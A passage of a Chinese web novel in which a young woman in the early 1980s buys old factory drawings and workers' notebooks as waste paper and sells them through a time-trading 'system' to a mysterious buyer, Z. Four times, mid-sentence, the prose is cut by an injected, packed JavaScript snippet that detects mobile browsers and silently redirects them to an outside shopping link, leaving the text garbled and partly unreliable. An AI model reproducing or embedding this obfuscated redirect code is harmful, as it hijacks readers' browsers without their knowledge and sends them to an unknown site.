安玥斟酌了几秒,回复道:“算是个人兴趣与机缘的结合吧。我比较幸运,能接触到一些遗留物相对丰富的区域,也有机会向长辈请教过一些旧历年代的生活细节。至于市场判断,更多的是站在收藏者角度去揣摩故事和情感的价值。” Z的回复意味深长:“故事和情感……确实是非常重要,有时甚至是决定性的。你在这方面做得尤为出色。” 他没再追问,似乎接受了这个解释。 安玥松了口气,关掉与Z的对话窗口。看着账户的纪元币,心里踏实不少。这笔钱加上之前的50000应急储备,她又能续上几天防护了。 她没有立刻购买防护Buff。她想等到当前的防护还剩最后一天时再续,最大化利用资金的时间。现在更重要的是规划下一步。 铁皮青蛙的成功出手,验证了这个品类在未来市场的潜力。这类东西在80年代其实不少见,很多家庭都有孩子玩坏的玩具,这些东西在废品堆里可能都不值钱,但稍加筛选和包装,就能变成宝贝。 她需要扩大货源。不能只靠偶然收到的几件,得主动去搜罗。 收废品是个很好的掩护和渠道,但效率太低,全靠走街串巷碰运气。她需要更精准的线索。 安玥的目光落在桌上那份街道开的收废品证明上,一个念头冒了出来。 或许,她可以把这个收废品的生意,做得稍微专业一点。 这需要一点启动资金,也需要一点人情世故。她刚经历了夜贼事件,在街道和邻居那里刷了一波同情和关注,或许可以借这个势头做点什么。 另外,她还得继续在系统里维持专业卖家的形象。 第二天,安玥背着空背篓刚走到巷口,就感觉到了不对劲。 昨天还对她报以同情或好奇目光的邻居,今天看她的眼神里多了些别的东西。几个在门口摘菜的老太太停下手里的活儿,视线跟着她移动,互相交换着眼色,低声嘀咕着什么。 一个推着自行车准备去上班的男人,看见她时明显愣了一下,随即加快脚步走了过去,像在躲避什么。 安玥面上不显,她保持着原主那种略微低头、脚步匆匆的姿态,径直往废品站方向走。 经过赵婶家院门时,门开了,赵婶端着一盆脏水出来,看见安玥,动作顿住。 “哟,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035563|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玥啊,这么早就出去?”赵婶的声音比平时高了半个调,眼神在她脸上身上扫了一圈,“昨天吓坏了吧?我看你脸色还是不好。” “谢谢赵婶关心,我好多了。”安玥停下脚步,露出一个勉强的笑,“去把昨天剩的废品卖了。” “哦,卖废品啊。”赵婶把水泼在门前的沟里,没立刻回屋,而是倚在门框上,像是随口闲聊,“你说这孙二狗,怎么偏偏就盯上你家了呢?真是造孽。不过啊……”她话锋一转,声音压低了些,带着点神秘,“丫头,你跟婶子说实话,你是不是……捡着什么值钱东西了?” 安玥心头一跳,面上却露出茫然:“值钱东西?赵婶,我家什么情况您还不知道吗?要有值钱东西,我早不挨饿了。” “也是。”赵婶点点头,但眼神里的探究没散,“可昨天派出所的人来,我听着他们问孙二狗话,孙二狗嚷嚷说……看见你这两天又是修墙又是买肉买鸡蛋的,肯定发了笔小财。他还说……”她顿了顿,观察着安玥的表情,“说你前天在市场上,花好几块钱买了一堆破图纸?” 安玥的后背沁出一层薄汗。孙二狗竟然看见了?还注意到了图纸?这混混比她想的要细心。 她迅速调整表情,显出几分委屈和后怕:“赵婶,您可别听那混蛋胡说!我修墙的钱,是把我爸妈留下的最后两件像样的衣服卖了凑的,王主任可以作证!买肉买鸡蛋,是我昨天第一天收废品挣了点钱,想着给自己补补,也庆祝一下……我太久没尝过肉味了。” 她说着,眼圈适时地红了红,“至于图纸……那是废品站刘叔让我顺便帮忙收的,说有人专门要那种旧工厂的废图纸,一斤才一毛钱,我哪花了好几块?那孙二狗就是想往我身上泼脏水!” 她的话半真半假,逻辑通顺,加上那副瘦弱可怜、又惊又委屈的样子,很容易让人信服。 赵婶脸上的怀疑褪去大半,换上同情:“哎哟,这杀千刀的孙二狗!自己作恶还想拉别人下水!丫头你别怕,街坊邻居眼睛是雪亮的,没人信他的鬼话!”她往前凑了凑,“不过你也小心点,孙二狗进去了,他那帮狐朋狗友可还在外面晃荡呢。你一个姑娘家,还是得留个心眼。” “嗯,我知道,谢谢赵婶提醒。”安玥感激地点点头,心里却沉了下去。孙二狗的同伙这确实是个隐患。 告别赵婶,安玥快步离开巷子。直到拐过街角,确认没人跟着,她才稍稍放缓脚步。 她原本只是想用收废品做个掩护,现在看来,这个掩护本身也可能引来麻烦。 废品站的老刘看到她来,没多说什么,按价收了那点废品,给了她一块二毛钱。安玥接过钱,没立刻走,而是犹豫了一下,开口问:“刘叔,我想问问,除了走街串巷,有没有啥办法能多收点……嗯,特别点的废品?比如旧书、旧报纸、还有工厂里淘汰的那些图纸啥的?” 老刘掀起眼皮看她:“怎么?想多挣点?” “嗯。”安玥老实点头,“光靠捡零散的,也就够糊口。我听说有些单位定期清仓库,那些废纸、旧文件都是成批的……要是能接到点这种活儿就好了。” 老刘磕了磕烟斗,打量她几眼:“你这丫头,心倒不小。那些单位的废品,一般都是有固定的人收,或者内部职工自己就分了。你一个外来户,没门路,难啊。” 安玥没气馁,继续问:“那刘叔,您知道最近哪有厂子要搬迁或者清仓库的吗?哪怕消息也行,我去碰碰运气。” 老刘沉吟了一会儿,才慢悠悠地说:“城南的老纺织厂配件分厂,听说要合并到新厂去,旧仓库可能要清。不过那都是传言,而且就算清,也轮不到你。”他摆摆手,“我劝你还是踏实点,慢慢来。” 8. 第 8 章 “谢谢刘叔,我明白了。”她没再多问,道了谢离开。 离开废品站,安玥没有直接回家。她在心里盘算着去老纺织厂配件分厂碰运气,但是以她现在的身份,恐怕连大门都进不去,更别说接触仓库。她需要一个由头,或者一个中间人。 街道王主任?或许可以试试,但用什么理由呢?说想帮街道解决待业青年问题,主动联系工厂处理废品?这个理由有点大,她的分量不够。 边走边想,不知不觉走到了国营副食店附近。她摸了摸口袋,今天卖废品得了一块二,加上之前剩的,还有八块多。她走进去,买了一斤鸡蛋,又买了点便宜的菜叶子。 拎着东西往回走,路过街角的邮政局时,她看到邮局门口挂着绿色的牌子,窗户里能看到工作人员在分拣信件。她突然想起系统兑换来的那1116.8元的挂号信。 一个大胆的念头冒了出来。 她走到邮局旁边的阅报栏前,假装看报纸,目光却扫过邮局内部的工作人员。 她注意到,有一个干部模样的中年人正在和一个邮局工作人员说话,手里拿着一个文件袋,看上去像是公对公的业务。 安玥看了几分钟,转身回家。 午饭简单煮了面条,卧了个鸡蛋。吃完饭,她锁好门,坐在炕沿上,打开了系统面板。 先看了一眼防护Buff剩余时间:7天14小时。然后点开了【跨时空小额物资兑换】。这次,她仔细查看兑换说明的每一个字。 【实物将于24小时内以合理方式抵达您手中。】 “合理方式”。 上次是挂号信。那么,如果她选择兑换的不是一笔整钱,而是要求兑换成某种实物呢?加入兑换成这个年代可能通过邮局或铁路零担货运过来的物资批条,或单位内部处理单据……系统会不会同样以“合理方式”实现? 这个想法有些冒险,但值得一试。如果她能通过系统,“合理”地获得一些单位内部处理废旧物资的凭证或介绍信,哪怕只是看起来像那么回事的东西,她就有可能敲开一些单位仓库的门。 当然,这需要极其谨慎地包装和操作。她不能兑换太离谱的东西,必须符合80年代初的实际情况和物流可能。 她尝试在兑换界面输入:单位内部废旧纸张、书籍、杂物处理凭证。 【无法识别兑换需求。请指定具体物资或货币种类。】 系统拒绝了。看来这种非实体或概念性的东西不行。 她换了个思路:旧历八十年代初常见款式中山装一套,配人造革公文包一个。 这次界面跳出了评估:【兑换需消耗1500纪元币。是否确认?】 1500纪元币换一套旧衣服和旧包?太贵了。 她继续尝试:旧历八十年代地方性报纸合订本。 【兑换需消耗300纪元币。】 她想了想,又加了一条:带有某单位抬头的空白信笺若干。 【兑换需消耗500纪元币。警告:该物品可能涉及轻微规则风险,请谨慎使用。】 系统提示有风险,说明这东西确实在合理边缘,但并非完全不可能。 她决定试一试。兑换报纸合订本和空白信笺,一共800纪元币。 【兑换成功。物品将于24小时内以合理方式抵达。当前纪元币余额:57200。】 第二天下午,安玥等的东西来了。 这次是是街道一个办事员小姑娘,骑着自行车来到她家院门口。 “安玥!有你的包裹单!去邮局取!”小姑娘嗓门清亮。 安玥接过包裹单,上面写着寄件地址是邻省某个文化用品公司,内件品名是“废旧书刊样本”。 她道了谢,立刻赶往邮局。取出来的是一个用麻绳捆得结实实的旧纸箱,她没在现场拆,费力地搬回了家。 关好门,她迫不及待地打开纸箱。 最上面是几本用牛皮纸包着的报纸合订本,主要是地方日报,数量可观。 合订本下面,压着一个老式信纸信封。她抽出来打开,里面是一叠空白的信笺纸。纸张是略带黄色的粗糙纸张,抬头印着“红星文化用品社”的字样,下面是地址和电话,号码位数都不对,显然是虚构的,落款处没有印章。 “红星文化用品社……”安玥念着这个名字,这大概是系统为了合理而随机生成的单位。信笺纸质感和印刷格式都很有年代感,乍一看确实像那么回事。只要不细究单位真伪和没有公章的问题,或许能蒙蒙人。 她把报纸合订本和信笺收好。 接下来,就是踩点和演练。 她花了一天时间,去老纺织厂配件分厂附近转悠。厂区看起来有些年头了,红砖围墙,大门有门卫。她观察工人们上下班的时间,留意进出车辆,特别是运送货物的卡车。她听到有工人闲聊,提到“仓库那边堆了不少破烂”、“新厂地方不够,有些老东西估计得扔”。 第三天上午,安玥把几本报纸合订本用布包好,放进背篓。 出发前,她看了一眼系统面板。防护Buff剩余:6天22小时。 深吸一口气,她背着背篓,朝着老纺织厂配件分厂走去。 走到厂门口,不出所料被门卫拦下了。 “哎哎哎,干什么的?找谁?”门卫是个五十多岁的大爷,穿着工装,眼神警惕。 安玥停下脚步,脸上露出一个尽量显得诚恳又有点紧张的笑容:“大爷您好,我是街道安排过来,想找咱们厂后勤科或者仓库的同志,咨询点事情。” “街道?”门卫打量着她,“有介绍信吗?” “有的,您看。”安玥从怀里拿出那张街道开的收废品证明,递过去,“街道鼓励我们待业青年自谋职业,我搞了个废旧纸张回收利用的小尝试,听说咱们厂这边可能有清理仓库的计划,就想来看看,能不能……既帮厂里解决点实际困难,也给我自己找个学习锻炼的机会。” 她话说得圆滑,把收废品拔高到回收利用,又暗示是街道鼓励的行为。 门卫看了看那张盖着公章的证明,脸色稍缓,但依然没放行:“你这证明,也没说让来我们厂啊。后勤科的人忙着呢,没空见你。” 安玥早有预料,她拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035564|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了拍背篓,发出书本的闷响:“大爷,我不是来捣乱的。您看,我还带了些资料,是关于废旧纸张分类和简单再利用的,想着如果能见到相关同志,也能交流一下。”她适时地露出一点恳求的神色,“我也是响应号召,想干点实事。要不……您帮我传个话?就说街道有个搞废旧纸张回收的年轻人,想请教一下厂里老师傅,关于那些旧图纸、旧文件该怎么处理最合适,绝不耽误领导太多时间。” 门卫见她态度谦卑,理由听起来也还算正当,犹豫了一下,终于摆了摆手:“行吧,你在这等着,我去问问仓库的老陈头有没有空。不过他脾气可倔,见不见你我说了不算。” “哎!谢谢大爷!太感谢您了!”安玥连忙道谢。 门卫转身进了传达室,似乎是打了个内线电话。过了一会儿,他出来说:“等着吧,老陈头说他正好在仓库门口,让你过去。就仓库那边,从这儿直走,第二个路口左拐,红砖房子就是。别乱跑啊!” “哎,好!保证不乱跑!”安玥心下一喜,赶紧按指示往里走。 厂区里比外面安静,偶尔有机器声传来。她很快找到了仓库,一排老式的红砖平房,门口堆着些杂物。一个头发花白的老头正背着手站在门口,看着走过来的安玥。 “你就是街道来的?”老陈头上下扫视着安玥和她背上的背篓。 安玥露出笑容:“陈师傅您好,我叫安玥,是街道的待业青年。听说咱们厂仓库可能需要清理一些废旧纸张,我正好在尝试做这方面的回收利用,就想来学习请教一下。” “回收利用?”老陈头哼了一声,“说得轻巧。那些都是厂里的废旧物资,有规定的处理流程。你一个丫头片子,懂什么?” “我是不太懂,所以才来请教老师傅您啊。”安玥放下背篓,动作小心地拿出用布包着的报纸合订本,解开布,露出里面泛黄的报纸,“您看,我平时也收集研究一些旧报纸,学习过去的工业报道和技术文章。我觉得这些旧东西,不一定全是废料,里面可能有些信息还是有价值的。比如咱们纺织厂的旧图纸,说不定对研究技术发展的学生、或者对一些搞收藏的人,就有用呢?” 她一边说,一边观察老陈头的表情。当听到“收藏”时,老陈头的眉头动了一下。 “收藏?谁收藏这些破旧图纸?”老陈头语气依旧硬邦邦,但没立刻赶人。 “有的,我接触过一些人,他们对过去的工业档案、手绘图纸特别感兴趣,觉得那是历史的见证。”安玥顺势说道,“我就想着,如果厂里这些旧图纸、旧文件,最终也是当废纸处理,能不能……让我挑一挑?我愿意按比废纸高一点的价格收,也算给厂里增加点收入,也让我这个尝试有个正经的货源。” 老陈头盯着她看了好几秒,又看了看她手里的旧报纸合订本,似乎在判断她话里的真假。 “你说你接触过收藏的人?怎么证明?”老陈头问。 安玥心里一紧,知道关键时刻来了。她不能暴露系统,也不能完全瞎编。她想起那叠空白信笺,但直接拿出来风险太大,万一老陈头较真去查“红星文化用品社”就完了。 9. 第 9 章 她心念电转,决定冒一点险,用话术周旋。 “这个……人家也是通过中间人联系的,比较注意隐私。”安玥露出为难的表情,“不过,我之前收到过他们的一些意向询问,是关于纺织机械图纸的。” 她把自己之前卖给Z的那批图纸的特征模糊地描述了一下,“他们提到过需要那种带有手写标注、签名的,最好是成套的。陈师傅,咱们厂仓库里,有没有这类东西?哪怕不完整也行。” 老陈头的眼神中透出几分惊讶。他沉默了一会儿才开口:“你跟我进来。” 安玥连忙背起背篓,跟着老陈头走进了仓库。 仓库里光线昏暗,堆满了各种杂物、备用零件、淘汰的旧设备。老陈头带着她走到最里面一个角落,那里堆着几十个落满灰尘的木头箱子,还有一些用麻绳捆着的牛皮纸包。 “这些,都是这些年攒下来的旧图纸、技术文件,还有一部分淘汰的旧零件样品目录。”老陈头指着那些东西,“早就该处理了,一直没顾上。按规矩,该送去指定的废品回收站,或者内部销毁。” 他转过身,看着安玥:“你刚才说的那种带手写标注的图纸,这里面可能有。但是,丫头,我凭什么相信你?万一你拿去做别的不好的事呢?” 安玥知道,她必须给出一个让对方放心,或者至少觉得风险可控的理由。 “陈师傅,”她态度无比诚恳,“我就是街道上一个想自力更生的待业青年,王主任可以给我作保。我做的这个尝试,街道也是知道的。我收这些东西,一是真的有人感兴趣愿意买,二是我自己也觉得这些东西丢了可惜,想给它们找个合适的去处,哪怕是当研究资料也好。” 她适时抛出自己的筹码:“这样行不行,您让我先看看大概有什么,我按种类和品相,给您一个比废纸价高的打包价。东西我拉走,出了这个门,就跟厂里没关系了。万一……我是说万一,以后真有人追究起来,您就说是我自己从废品渠道收来的,您也不清楚具体内容,只是按废旧纸张处理了。责任我来担。” 老陈头又沉默了,目光在安玥和那堆旧图纸之间来回移动。 终于,他重重叹了口气,像是下定了决心:“你这丫头,胆子不小,嘴皮子也利索。行,看在你是街道安排、也想干点实事的份上,这批东西,可以让你看看。但是——” 他的表情严肃起来:“价格不能太低,具体看东西再说。而且只能拿图纸文件,别的不能动。今天你看好了,谈好价,明天带钱来,一次性拉走,别拖拖拉拉。你记着,出了任何问题,你自己负责,跟厂里、跟我,都没关系!听到没?” “听到了!谢谢陈师傅!您放心,规矩我懂!”安玥连连点头。 “那你看吧,快点。我就在门口。”老陈头说完,背着手走出了仓库角落,但没有离开仓库,而是站在不远处的光亮处,显然是监视的意思。 安玥顾不得那么多,她快步走到那堆木箱和纸包前,打开一个木箱盖子,灰尘扬起。里面是码放得不算整齐的一卷卷泛黄图纸,纸张很大,有些边缘已经破损。她小心地抽出一卷展开一角,是手绘的零件图,旁边有钢笔写的标注和数字,还有签名和日期。 她又打开一个牛皮纸包,里面是装订成册的技术手册,封面上印着厂名和编号。 粗略估算,这堆东西,图纸至少有几百张,技术手册和文件也有几十本。如果其中一部分具备类似上次那批图纸的价值…… 安玥努力让自己冷静下来。现在最重要的是定价。老陈头要的是“比废纸价高”,但不能高得太离谱引起怀疑。废纸收购价一斤四分到五分,她可以出到八分甚至一毛,再高就可能有问题了。 她快速估算着这堆东西的大概重量。图纸纸张厚,加上木箱……估计得有上百斤,甚至更多。 她心里有了底,走向老陈头。 “陈师傅,我看了一下,东西确实不少,主要是旧图纸和技术文件,有些品相还行,有些破损厉害。您看,按一百五十斤算,我给您按一毛钱一斤,一共十五块钱,行吗?” 她报了一个比废纸价高一倍多,但绝对算不上高价的数字。十五块,对一个普通工人来说也是近十天的工资了,但对于仓库管理员来说,算是一笔不错的额外收入,又不会显得过于扎眼。 老陈头显然也心算了一下,十五块,比他预期卖废纸的钱多了一倍多。他脸上严肃的表情松动了一些,但还端着架子:“一毛钱一斤?丫头,你可看清楚了,有些图纸纸好,挺重的。” “陈师傅,我知道,所以我才敢出这个价。”安玥诚恳地说,“但我这小本生意,也就赚个辛苦钱和一点信息差价,再高我真承受不起了。而且我保证一次性拉走,不麻烦您第二次。” 老陈头又沉吟了几秒,终于点了点头:“行,看你也是个实诚丫头。就十五块。明天上午,带钱来,找辆板车拉走。记住,别声张。” “哎!一定!谢谢陈师傅!”安玥悬着的心终于落下一半。 离开纺织厂配件分厂,安玥走在回去的路上,脚步有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035565|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发飘。事情竟然真的成了。虽然只是第一步,但这意味着她可能获得一批稳定的且高质量的货源。 兴奋过后,现实问题接踵而来。十五块钱,她有。但找板车、搬运,都需要人手和安排。而且,这么一大批东西拉回家,放在哪里?怎么防止被人看见,再引起怀疑? 她需要尽快筛选出其中有系统价值的部分,在现实中也得留出真正当废纸卖掉的部分,以维持收废品的掩护。 回到家,她立刻从炕洞里数出十五块开始筹钱,计划明天去借板车,或许可以找邻居熟人帮忙,付点费用。她还需要规划一个临时的存放和筛选地点,院子角落或者屋里腾出空间。 就在她规划时,系统提示音突然响起。 是Z的私信。 Z:上次提到的类似铁皮青蛙的机械玩具,有新的发现吗?我最近旧历80年代的日常的藏品很感兴趣。如果你有渠道可以帮我留意一下,价格不会让你失望。 这条信息本身很正常,但紧跟着的下一条—— Z:顺便问一句,你所在的地理区域,是否临近旧历的纺织工业区?我最近的研究方向,可能与此有关。 安玥盯着这行字,眉头皱了起来。 Z在调查她的位置?还是巧合? 他之前从未问过如此具体的地理信息。是铁皮青蛙的成交,还是她透露了太多细节,引起了他的怀疑? 看来这位未来的家伙不仅仅是非酋收藏家。 就在她安玥斟酌词句时,瞥见系统公共频道全服播报的一条消息,来自一个陌生的ID: 【悬赏线索:寻找旧历1980-1985年间,江南地区第三纺织机械厂或关联分厂流出的特定批次实验性图纸或手稿,特征为带有“星火-改”或类似手写标记。提供有效线索者酬金面议,确保实物者重酬。】 安玥想起,今天在仓库角落匆忙展开那卷图纸时,右下角模糊的草签里,似乎有那么一个类似“星”字的半边,旁边还有涂改的墨点…… 安玥满脑子疑:Z的询问与这条悬赏是否有关系?悬赏者是谁?Z是不是也在找同样的东西?他问地理位置,是在确认范围,还是在试探她? 很快,她在回复框里敲下给Z的答复:您的研究方向真专业。我所在的区域确实有一些老的工业基础,不过具体的厂矿情况,我需要再打听一下才能确定。如果有相关的发现,我会第一时间告知您。 发送,然后立刻关掉系统面板,她总感觉那是一个可能泄露她心声的窃听器。 10. 第 10 章 第二天天刚蒙蒙亮,安玥就爬起来了。她换上那件最耐脏的旧工装,头发利落地扎成麻花辫。她先去隔壁巷子找了李大叔的儿子小军。小军二十出头,在街道搬运队干临时工,有把子力气,人也实在。 “小军哥,能借你家板车用用不?再帮我搭把手,搬点东西。”安玥说得诚恳,“我给工钱,按半天算,一块钱。” 小军眼睛亮了。他在搬运队干一天也就挣一块五,这半天一块,很划算。 “成!啥时候要?” “就现在。” 两人拉着板车往纺织厂配件分厂走。 路上小军忍不住问:“安玥,你弄这么多废纸干啥?真能卖上价?” “试试呗。”安玥推着车把,“我听人说,有些旧图纸、旧文件,图书馆或者学校收去当资料。我挑挑看,万一碰上了,比卖废纸强点。” 小军似懂非懂地点头:“也是,你脑子活。” 到了厂门口,还是那个门卫大爷。看到安玥真带了板车和人来,大爷脸色好看了些,挥挥手放行:“老陈头在仓库等着呢,快去快回。” 仓库里,老陈头果然在。看到小军,他眉头皱了皱。 “陈师傅,这是我邻居小军哥,来帮忙搬的。”安玥赶紧解释,同时把用报纸包着的十五块钱递过去,“您点点。” 老陈头接过钱,捏了捏厚度,没当场点,揣进兜里:“行,就那些东西,搬吧。轻点,别把别的碰倒了。” 安玥和小军开始搬那些木箱和纸包。 东西比预想的还沉,木箱边缘的毛刺扎手,灰尘扬起。小军力气大,一次能搬两个箱子;安玥也不娇气,咬着牙搬那些牛皮纸包,没一会儿就变得灰头土脸的。 老陈头背着手在旁边看,偶尔提醒一句:“那个箱子底快掉了,托着点。” 搬了半个多小时,老陈头终于开口:“差不多了。剩下的那些太碎,你们要就一并拿走,不要就留这儿。” 安玥看了一眼角落——那里堆着些散落的图纸边角、破损的文件夹,还有几个生锈的铁皮盒子。她用系统扫描功能快速扫了一下,蓝光反馈显示大部分价值极低,但铁皮盒子里似乎有点东西。 “都要了吧,省得您还得收拾。”安玥说着,走过去把那些零碎也拢到一起,包括那几个铁皮盒子,一股脑装进麻袋。 全部装完,板车堆得满满当当。安玥和小军用麻绳捆了好几道,确保不会半路散架。 “陈师傅,那我们走了。”安玥擦了把汗。 老陈头“嗯”了一声,走到仓库门口,忽然回头:“丫头。” 安玥心里一紧:“哎?” “这些东西拉回去,仔细挑挑。”老陈头的目光在她脸上停了一秒,“有些东西……留着未必是好事,该扔就扔。” 这话说得含糊,但安玥听懂了。老陈头知道这里面可能有点什么,但他不想管,也不想知道。他只求安安稳稳拿到十五块钱,其余麻烦别沾上他。 “我明白,谢谢陈师傅提醒。”安玥认真点头。 拉着一车东西出厂门时,门卫大爷探头看了一眼:“哟,真不少。丫头,你这生意做得挺下本啊。” “瞎折腾呗。”安玥笑笑,和小军一起使劲,板车轱辘碾过坑洼的路面,吱呀作响。 回去的路上比来时吃力多了。上坡时,安玥在后面咬着牙推,肩膀抵着车板。小军在前头拉,脖子上的青筋都绷出来。 “安玥,你这……到底图啥啊?”小军喘着粗气问。 “图个……出路。”安玥也喘,“总不能一辈子收破烂吧?” 这话半真半假,小军听了却莫名有点触动:“也是,是该闯闯。” 终于到家。两人把东西卸在院子里,堆了小半院。安玥进屋拿了钱,又多加了两毛:“小军哥,辛苦你了。这两毛你买点汽水喝。” 小军接过钱,咧嘴笑了:“谢了!以后有活儿还叫我!” 送走小军,安玥关好院门,看着那堆东西,长长舒了口气。 她先凭肉眼和手感粗筛。那些破损严重、明显是废纸的,先堆到一边,这些回头要真当废品卖掉,做好掩护。 木箱里的图纸她一卷卷打开看。有些是标准的机械制图,有些则是手绘的草稿,边角有烟头烫过的痕迹,还有钢笔水晕开的污渍——这些在未来人眼里,可能反而更有历史感。 技术手册和文件她也翻了翻,大多是操作规范、维修记录,也有些是会议纪要,字迹潦草。 最让她在意的是那几个铁皮盒子。打开后里面是一沓沓泛黄的技术革新建议表,还有几本工作笔记。建议表上钢笔字密密麻麻,有的还配了示意图;工作笔记里记着每天的生产数据、故障处理,甚至还有几页记着某某工友结婚随礼的钱数。 她花了整整一个下午粗筛,分成了三堆:明显无价值的废纸、可能有价值的图纸文件、以及那些工人手稿笔记。 天色暗下来时,她才直起酸痛的腰。 该用系统扫描了。 她先扫了那堆可能有价值的图纸文件。 【评估完成:旧历机械图纸及技术文件,共计87张/册。其中17张带完整手写标注及签名,技术史料价值高;41张为标准制图,信息价值中等;其余29张破损严重或内容重复,价值较低。整体预估价值区间:80000-120000纪元币。】 八万到十二万!就算按最低八万算,扣除手续费也有七万二。而她买下这一堆,只花了十五块华币。 思索片刻,她扫描那堆工人手稿笔记。 【评估完成:旧历工厂一线工人手写资料,共计214页。信息独特性极高,情感载体价值极高,稀缺度极高。整体预估价值区间:150000-200000纪元币。】 安玥手抖了一下。 十五万到二十万?就这几本破笔记? 她拿起一本翻看,里面有一页写着:“3月12日,车间王师傅说齿轮箱异响,我琢磨是不是润滑油太稠了?明天试试稀点的。刘主任说别瞎搞,搞坏了扣工资。但我觉得能行。” 另一页:“4月5日,小张结婚,大家凑份子。我出了三块,李大姐出了两块。婚宴上的红烧肉真香。” 这些文字记录的也不是什么惊天动地的大事。但安玥忽然明白了——对于未来那个高度发达、一切都可能被数据化的时代来说,这种烟火气的记录或许才是最稀缺的。 她平复了一下心情,开始思考如何上架。 图纸好办,可以按主题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【交易达成。工人手稿笔记全套已售予VIP客户Z,成交价250000纪元币。扣除10%手续费,实收225000纪元币。】 【当前账户纪元币余额:282200。】 安玥看着账户里突然暴涨的数字,有种不真实感。 就这么卖出去了二十五万。 她还没来得及消化这笔巨款,Z的消息又来了:“款项已付。资料何时可以交付?” “整理需要一点时间,我明天内完成打包传送。” “好。”Z又发来一条,“另外,关于那批图纸。如果你有类似的、带有星火或类似标记的,也可以联系我。” 果然,Z和那条悬赏绝对有关系。 她回复道:“我留意一下。如果有发现,会告知您。” 关掉对话框,安玥坐在炕沿上出神。 Z应该不只是个运气差的收藏家,他可能在找某个特定的东西。而自己似乎离那个东西很近。 她看了一眼院子里那堆还没扫描完的图纸。 星火标记……得好好找找。 11. 第 11 章 安玥是在后半夜翻到那张图纸的。 那卷图纸混在一堆草稿里,纸张比其他图纸略脆,边缘有被水浸过又晾干的痕迹。她本来已经眼皮打架,准备明天再整理,但展开到最后一截时,右下角一个潦草的铅笔标记让她清醒了。 不是“星火-改”。 是被划掉过的几个字,能辨认出最初的笔迹:“试验代号:星-改-3”。旁边还有一行小字:“总工批:慎。80.5。” 80年5月。就是今年春天。 安玥轻轻把图纸展开,是一张看起来并不复杂的辅助送料机构改良图,线条比旁边那些标准图纸凌乱得多,像是边讨论边画的。旁边空白处用红蓝铅笔打了几个问号,还有个小小的算式。 东西本身并不出奇,但那个标记,那个日期,还有那个“慎”的备注…… 她立刻想起公共频道那条悬赏,还有Z的询问。 安玥盯着图纸看了一阵,然后把这张图纸单独抽出来,用干净的布包好放了起来,又把剩下的图纸全部过了一遍,确认没有第二张类似标记的最后关了灯躺下。 脑子里有两个声音在吵。 一个说:赶紧联系Z,他不是在找吗?高价卖给他一了百了。 另一个说:悬赏不是Z发的,是另一个匿名ID。先摸清楚,这玩意儿到底值多少钱。 天快亮时,她才迷迷糊糊睡去。 睡了不到两小时,又被院外的动静吵醒。是赵婶,嗓门大得隔墙都能听见:“……可不是嘛!拉了一板车!堆得跟小山似的!” 另一个声音是隔壁院子的吴大娘:“听说能挑出点有用的,卖给图书馆?” “我瞅着就是瞎折腾。不过昨天小军帮她搬的,给了工钱呢。这丫头,手头好像真松快了……” 安玥坐起身,揉了揉发胀的太阳穴。 她起床先把那堆分出来的真废纸重新捆好,准备今天拉去废品站卖掉。这是做给外人看的。 正要出门,院门被敲响了。 “安玥!在家不?” 是街道王主任的声音。 安玥赶紧开门。王主任站在门外,身后还跟着个戴眼镜的中年男人,手里提着个公文包。 “王主任,您怎么来了?快请进。”安玥侧身让开。 王主任没进来,站在门口打量了一眼院子里那堆还没整理完的图纸和木箱,眉头皱了皱:“安玥,你这是……真打算靠这个过日子?” “试试,王主任。”安玥语气诚恳,“总比干等着强。” “这位是文化站的李干事。”王主任指了指旁边的男人,“他们那边最近在整理地方工业史料,听说你收了些旧图纸文件,过来看看有没有能用上的。” 李干事推了推眼镜,笑容很官方:“小安同志,听说你是待业青年,自力更生很好。我们文化站确实需要征集一些反映地方工业发展的实物资料,比如老图纸、老文件。如果有合适的,我们可以酌情收购,价格肯定比废品站高。” 安玥心里门清。什么文化站需要,八成是王主任怕她走歪路,或者惹麻烦,特意找人来规范一下她。也可能是昨天拉一板车东西回来太扎眼,街道得过来了解情况。 “李干事,东西都在这儿,您看看。”安玥指着那堆还没整理完的,“我也是刚收来,还没来得及细挑。您要是有能用上的就太好了,也算给这些老东西找了个正经去处。” 